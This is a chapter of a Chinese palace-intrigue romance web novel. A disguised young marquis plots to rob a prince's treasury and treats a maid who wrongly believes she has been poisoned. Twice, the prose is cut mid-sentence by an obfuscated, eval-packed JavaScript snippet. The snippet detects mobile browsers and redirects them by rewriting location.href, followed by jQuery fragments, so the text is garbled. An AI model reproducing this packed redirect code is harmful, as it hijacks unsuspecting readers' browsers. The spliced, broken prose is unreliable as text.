方昭年战死时,顾寒阙带着医谷的人去迟一步,最终收殓了他的尸身,自己取而代之。 他成为新的小侯爷,悄无声息掺入自己的兵,第一件事就是更换武器。 这才有了凯旋归京的胜利。 顾寒阙知道三皇子要做什么,他收了贿赂,让他去做。 然后暗地里再以买家的身份,买下精铁,把这批材料转到自己手中。 至于银钱不够—— 这么大一批精铁,要买下来可不便宜,那就劫了三皇子的宝库,取之于他用之于他。 正巧,姜涿收到了飞鸽传书,是赤乌和杜宇传来的消息。 顾寒阙展信一览,然后把纸条递给他。 姜涿迅速看完,笑道:“狡兔三窟,之前查到的两个庄子,确认都是三皇子的了。” 皇子尚未出宫建府,还住在皇城内,囤积银钱财物多有不便,且为了掩人耳目,就藏在宫外某处。 赤乌和杜宇是顾寒阙养的暗卫,早已跟踪盯梢了许久,最近才渐渐有些眉目。 如今只待主子一声令下,立即派人上门去盗窃。 此等手段非君子所为,顾寒阙也不是君子,他只要结果。 三皇子和大皇子皆在培养自身势力,也没少到处捞钱,两人参与的政务还不太多,这些银钱更多来自于民间。 占田占地占铺子,在京城之外,各显神通。 大皇子甚至按照私放印子钱,为此难免犯下几条人命。 暂时先不动大皇子,一来可以让他背锅,二来他没有皇后相助,较之三皇子更为势弱。 把水搅浑了,才好行事。 姜涿喜不自禁道:“如此一来,相当于我们白得一批精铁了!” 用三皇子的钱去买他暗中掉包的精铁,还趁机收了一笔贿赂,怎么看都是稳赚不赔。 顾寒阙脸上不见喜色,他波澜不惊,眸色深沉:“去传令。” “是。”姜涿整理了表情,收好书信往外走。 公子肩负了太多东西,沉甸甸的压满了,什么荣华富贵绝色佳人,都入不了眼,姜涿有时会想,何物能让公子展颜一笑。 大仇得报的那一天么? 只怕也是笑不出来的。 ******* 丽奴每日给绵苑提饭菜,因为捡拾面具一事,两人的相处算不上融洽。 绵苑心大,却也没到什么都不在乎的地步,丽奴可以说是带着恶意谋害她了。 假冒小侯爷这么大的事儿,能让她一个小丫鬟知道么?结局不出意外是杀人灭口。 好在顾寒阙并非滥杀之人,绵苑如今回想,都觉得自己逃过一劫很是不易。 她和丽奴都没见过几回,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478954|169985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冤无仇,对方却要置她于死地。 可见其心狠手辣。 事情的印证是蔓语从台阶上摔下来,不慎擦伤了脸。 脸面对一个姑娘家而言何其重要,尤其蔓语是个爱美之人,最受不了旁人说她半点不好。 如今骤然伤在脸上,痛哭的眼泪止都止不住。 绵苑去看望她时,并无证据指向丽奴,纯粹是蔓语自己不慎摔倒。 半莲却拉过她到一旁去说了悄悄话:“当时我看见丽奴就在附近,虽然隔了段距离,也挨不着蔓语,但是我怀疑她会些功夫……” 丽奴做事利落,有一把子力气,又是从边关被带回来的,有此猜测实属正常。 绵苑揪起小眉头,道:“就因为蔓语和她吵过嘴么?” 换做旁人不至于下此狠手,丽奴却不好说,她与寻常姑娘家大不一样。 半莲在某些方面异常的敏锐,周围没有外人,她低声道:“绵绵,我觉得丽奴心慕小侯爷……” “啊?”这是绵苑没想到的。 半莲知道她迟钝得很,轻笑了笑:“你别看她脸上有烫伤,又时常低着头,那颗心就彻底死了么?” 不也是个年轻姑娘? 而情愫,大多时候是很难凭借理智扼制的。 绵苑愣愣问道:“然后呢?” “防人之心不可无哦,傻绵绵。”半莲叹了口气:“如今和小侯爷最靠近的女人就是你。” 她们几个一块长大,最是知根知底了,绵绵脾气太软。 绵苑闻言,眉头彻底解不开了,迟疑道:“那她应该不会对我做什么吧……” 都已经服毒了还要怎样啊? 蔓语的伤无凭无据自然是不能指摘旁人,绵苑回到自己房间里,颇有些忧心忡忡。 想她以前在慎柏堂,多么的无忧无虑,到了麒麟轩就不一样了。 如今还要防备丽奴…… 绵苑在躺椅上小憩了会儿,直到被肚子一阵绞痛给疼醒。 她捂着腹部爬起来,一下就慌了,从船宴到现在不过三日,毒发得也太频繁了呜呜…… 绵苑赶忙出去寻找顾寒阙,好在寝屋近,而且人已经从书房出来了。 顾寒阙耳力过人,一连串杂乱的脚步声由远及近,他扭头一看,绵苑小脸煞白的出现在他房门口。 “你怎么了?”他问。 “我毒发了……小侯爷救我……” 顾寒阙喜怒不形于色,这会儿却不免抿直了唇线,道:“过来,我看看。” 绵苑真的很痛,朝他走了过去,两个肉肉的手心朝上捧着,请求给她解药。 顾寒阙只拉住她一只手,微一施力,让她坐到矮榻,手腕搭于方桌上,修长的指尖按住她脉搏。 绵苑一愣,都快哭了,小侯爷不给她解药,却突然给她……把脉? “你的月事来了。”顾寒阙斜她一眼,冷声道:“别什么都赖毒丸。” 喂她一颗药,从此就被讹上了。 “什么?”绵苑红着眼眶,不怎么相信:“以前不曾这样疼,况且小侯爷又不是大夫……” 顾寒阙的师父是医谷谷主,医武双修,他尽得真传,还是头一回有人质疑他的能力。 他面无表情:“还有哪里疼痛?如实说。” 绵苑委屈又难受地抱住自己,也顾不上羞于启齿了,细声细气道:“胸……微微胀痛,肚子非常痛……” 这不就是肠穿肚烂的前兆么? 她心中的悲伤,究竟何人能知晓。 8. 好像……瘫了 顾寒阙觉得,不能再任由绵苑以为自己中毒了,否则之后还不定发展成何种局面。 不过眼下,还是要先给她镇痛。 顾寒阙唤了丽奴,打一盆热水进来给她热敷,促进血液循环能缓解一二。 他自己则到书房里写了一张方子,交予姜涿去抓药。 姜涿得知此事后,脸色极为复杂。 他家公子自幼出类拔萃,卓尔不群,如今给一个小小婢女调理宫寒。 被留在屋里独自面对丽奴的绵苑也很难受,下午才跟半莲一起猜忌丽奴,如今她要来帮助她? “我、我自己来就好。” “失望了?” 丽奴背对着门的方向,只把她眼底的恶意展示给绵苑一个人看,脸上的烫伤有些可怖。 她道:“你确实漂亮柔软,娇滴滴的,以为这样就能引诱公子?” “我没有……”绵苑苦着一张脸。 不得不佩服半莲的敏锐,被她说中了,丽奴似乎是对小侯爷有着主仆之外的情谊。 丽奴显然很讨厌绵苑,但她又很听话,公子让她进来帮忙的,她便动手拧了热帕子,目光盯在绵苑鼓鼓囊囊的胸团上:“哪里痛?” 绵苑哪敢让她动手,急得后背冒汗了,一把夺过帕子,道:“我自己来……” 一番折腾还挺累的,绵苑即便身子不适,也咬牙说不疼了。 她对顾寒阙一无所知,不知道他的身份名字和来历,更无法判断方才是不是真的在诊脉。 要么是拿不出解药给她,故意推脱,说明她不久后可能会死。 要么小侯爷当真会医术,她所有的反应皆是月事引起的,不论是哪个,总归就一个结果——不会给她解药。 而且出了这个门,丽奴就恢复成平日里埋着脑袋、木然的状态。 此前绵苑怀疑,麒麟轩看似就他们几个人,实际上暗地里戒备颇为森严。 应该是小侯爷安排了人手,不说别处,书房和寝屋都至关重要。 丽奴对此心知肚明,所以出门就伪装。 而刚刚她是奉命打热水进去帮忙的,料想屋里头也不可能有第三双眼睛存在,这才对绵苑做出那等变脸的行为。 可见,丽奴的心思主子不知道,也不敢让他知道。 绵苑无意理会谁爱慕谁这件事,她忌惮的是丽奴会功夫,还在边关杀过人。 除此之外,可能也背负了某些沉重的东西,有着特殊的过往,她这个人,是一种威胁。 绵苑逃回自己屋里,刚把门锁起来,姜涿就端着汤药来敲门了。 “……有事么?”绵苑开了个缝隙,探头一看,姜涿的后面竟然还跟着个顾寒阙。 “开门。” 姜涿对绵苑的‘没眼力见’已经逐渐习惯了。 主子亲自给她开药方,这会儿热气腾腾的药送到门口来了,就没点热络态度? 绵苑可不知此事,因为顾寒阙什么都不说。 她让开身请两人进入她的小屋,自顾自把递来的这碗药当成了解药。 让喝的时候半点没犹豫,也不嫌苦,喝完立马就心安了,浑身暖融融。 顾寒阙在桌旁落座,遣退了姜涿。 他有话直言,道:“你并未中毒,它也不是解药,而是治疗你宫寒之症。” 啊,什么症? 绵苑一愣,不无惊讶与怀疑。 “收起你满脑瓜的想法,”顾寒阙瞥她一眼,道:“那日说给你下毒,只是为了便于控制。” “小侯爷为何告知此事?如今不需要控制我了么?”她问道。 “嗯。”顾寒阙眼皮都没抬一下:“若有异动,直接杀了。” 绵苑缩了缩脖子,揪着自己细白的小指头,心中复杂难言。 任凭谁得知自己中毒,都要担惊受怕一阵子吧,结果竟然是虚惊一场。 “小侯爷真的会医术?” 还会治疗女子的宫寒? 这太令人意外了,对着这张阴鸷冷脸,谁敢信他会医术? 顾寒阙只告诉她一件事:“再来问我拿解药,便让你试试真正中毒是何滋味。” “……对不起。”绵苑低头认错。 闹了乌龙,虽说不能全赖她,但态度绝不能迟疑。 而且,她后知后觉的意识到‘小侯爷帮忙治疗宫寒’这件事有多冒昧。 毕竟是女儿家私密事……就被他知道了,还宣之于口。 也幸亏他把姜涿遣走,不然光是对话就够尴尬的…… 也怪她以为毒发,忙着怕死去了,哪还顾得上害羞。 绵苑动手给顾寒阙斟茶,抿着唇瓣道:“小侯爷放心,不需要毒药,我一定守口如瓶。” 他和老太君相处时,就像一对真正的祖孙,有敬重与迁就在其中。 绵苑不知顾寒阙是否为了图谋财物,只猜测他对侯府没有敌意。 有时候血淋淋的真相过于残酷,倒不如以虚假构建一个梦境。 起码在她看来,他所扮演的小侯爷正是老太君需要的。 顾寒阙对绵苑的保证不置可否,临走前把药方给了她。 调理的方子不是喝一两天就能好,她得定期喝上几副才行。 绵苑自然是千恩万谢,恭恭敬敬地把人给送出去。 她没有中毒,无疑是卸掉了心头一块大石,可以睡个安生觉了。 同时……也对顾寒阙的印象有所改观。 这人看似冷俊,却意外的讲道理呢。 ****** 没几日,三皇子如愿以偿,在早朝时得陛下钦点,任命他监察军器营。 此事经过顾寒阙首肯的,自然无人提出异议。 即便大皇子看了眼红,也无力阻止。 三皇子喜不自胜,越发要与顾寒阙交好,以拉拢他的支持。 没两天就递了帖子过来,邀请他一同去鹿鸣山狩猎。 鹿鸣山地处京郊,莫约半日脚程,需得在那里留宿两晚才不显得太匆忙。 顾寒阙欣然应允,决定就挑那一天夜里动手,盗空三皇子的财物。 此事早有准备,伏击的人手皆已到位,并不算匆忙。 但为了稳妥起见,顾寒阙要把姜涿留下,他带上绵苑车夫以及左都护等人去鹿鸣山。 顾寒阙行事谨慎,即便目前无人知晓他身份有异,但在明面上,侯府的往来之人毫无异样。 麾下左右都护时常会过来,他们虽然听令于他,却不是心腹。 与赤乌杜宇的联络皆是暗中进行,非必要的情况下,他们不会现身侯府,只通过姜涿暗中传递消息。 外人眼中,姜涿不过是随身小厮,随便说个身体不适的由头就可以不去了。 如此一来,伺候主子衣食住行的任务就落在了绵苑肩上。 姜涿帮着检查了两遍笼箱,虽然就待俩晚,但多带几套衣服必不可少,惯喝的茶叶、驱蚊的熏香以及药品备用,无不妥帖。 他还特意嘱咐她夜晚要机灵一点:“你最好守着小侯爷入睡。” 绵苑闻言觉得奇怪,他不是生怕婢女爬床么?“小侯爷应该不喜被人打扰睡眠……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478955|169985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜涿低声道:“那面具不能一直戴着,夜里必须取下。” 若非迫不得已,一般情况下不会留着它过夜,太闷了。 有关人皮面具的事情,姜涿向来三缄其口,根本不会让绵苑知道。 但是这次顾寒阙出行,就带她一人伴随左右,一些事情不能避免的会被她接触到。 或许,也是主子对她放下一点戒心的倾向。 绵苑闻言,顿时紧张起来:“万一被人发现怎么办?” 既然要摘下面具,还敢在外头过夜吗? 姜涿笑了笑道:“小侯爷身手过人,若察觉不对自会应对,你只需帮忙拖延一二即可。” 绵苑一想也是,他们本领大,哪像她胆小怕事。 她点点头,小脸严肃:“我会警惕的。” 出发这天,顾寒阙和绵苑乘坐马车,后面跟着他的坐骑阎云。 那是一匹矫健的黑色大马,鬃毛飘逸流畅,眉心一簇白纹,十分漂亮。 左都护周津宁得知小侯爷要带他一起去狩猎,兴高采烈,早早便策马来到侯府门口等着。 一行人出发去往城门口,与三皇子等人会合。 三皇子呼朋引伴,叫来了他的妹妹宜真公主,以及皇子妃的娘家妹妹黎四小姐。 还有一个意料之外的人——国师李扶尘。 周津宁一夹马腹,凑到马车窗口来,躬身道:“小侯爷,三皇子把李扶尘给叫上了。” 国师在朝堂上的地位很微妙,陛下信任倚重他,文官对他不屑唾骂,口诛笔伐,武将也不会跟这等人交好。 顾寒阙佯装不知,朝窗外看去,不远处的李扶尘正言笑晏晏,拱手朝他示意。 绵苑也悄悄探头瞄一眼,发现国师意外的年轻,满面笑意,儒雅随和。 顾寒阙没什么表情,撤回了视线,道:“不必理会。” 周津宁点头,撇撇嘴道:“看他广袖长袍的文弱打扮,想必对狩猎一窍不通,纯属凑热闹罢了!” 绵苑在一旁看热闹,忽然不知怎的,半边身子一麻,整个人往侧边直直栽了过去。 这种无力突如其来,仿佛刹那间失去了对身体的主控权,她心下大惊,闷头倒入了顾寒阙的怀中。 好巧不巧,宜真公主非常有心,特意过来打招呼,到了马车边上就透过窗子瞧见这一幕。 绵苑趴在顾寒阙怀里,柔软的胸团都被挤扁了,两人密不可分。 而顾寒阙半敛着深邃眼眸,意味不明的望着她。 宜真身边的嬷嬷反应很快,立即抬手挡在公主面前,道:“小侯爷不太方便,公主可看不得这个……” 话音才落,顾寒阙伸手拉了帘子,马车内的景致立即被隔绝了。 仿佛在印证那句‘不方便’。 宜真公主的脸色如何绵苑不知道,反正她的脸色很不好看。 她软哒哒的撑不起身子,还是在顾寒阙的帮扶下才坐正了。 他淡淡道:“看来通房丫鬟的名头要坐实了,你想要多少月例?” 绵苑听不进去,她的唇瓣在颤抖:“小侯爷,我好像……瘫了……” 这要是没中毒,那铁定是发病了呜呜…… 顾寒阙伸手,从她腰侧收回一支细丝般的银针,问道:“好了么?” 绵苑好不了,面无血色,两眼一翻撅了过去,都来不及告诉他:她晕针! 饶是顾寒阙喜怒不形于色,也不禁眉头一蹙,眼明手快的捞住她,不然额角就要磕破了。 温香软玉再次搂满怀,又轻又软……她怎么状况这样多?